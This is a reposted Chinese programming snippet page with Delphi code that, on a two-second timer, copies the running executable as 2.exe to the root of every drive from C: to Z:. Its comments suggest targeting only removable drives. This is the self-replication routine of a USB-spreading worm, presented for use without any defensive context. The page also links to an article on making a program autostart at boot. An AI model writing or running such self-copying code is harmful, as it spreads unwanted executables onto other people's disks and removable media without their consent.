delphi 利用for循环自我复制到全盘用timer监控


本文整理自网络,侵删。

 var
i:char;
s3:string;
//设为2秒
procedure TForm1.Timer1Timer(Sender: TObject); //每2秒运行1次
begin
for i:='C' to 'Z' do //注意下面的begin end;
begin
s3:=pchar(i+':\2.exe');
copyfile(pchar(application.Exename),pchar(s3),False);
if not Fileexists(s3) then
Timer1.Enabled:=true
else
Timer1.Enabled:=false;
end;
end;

end.
//移动硬盘返回 DRIVE_REMOVABLE
//本地硬盘返回 DRIVE_FIXED
//可选 if GETDRIVETYPE (PChar(i+':\'))=DRIVE_REMOVABLE then

相关阅读 >>

Delphi 设置系统启动文件夹自身开机自动运行

Delphi请求http接口中文乱码问题

Delphi 数据库获取所有用户名

Delphi sccoloredid,星际争霸彩色 id 修改器 v0.2.0,支持 windows vista

Delphi 字符串查找替换函数

Delphi中三种延时方法

Delphi 处理以逗号分隔的长字符串

Delphi adoconnection连接 sqlserver

Delphi根据url获取缓存文件的方法

Delphi批量删除同类文件(带通配符)

更多相关阅读请进入《Delphi》频道 >>



打赏

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码打赏,您说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

分享从这里开始,精彩与您同在

评论

管理员已关闭评论功能...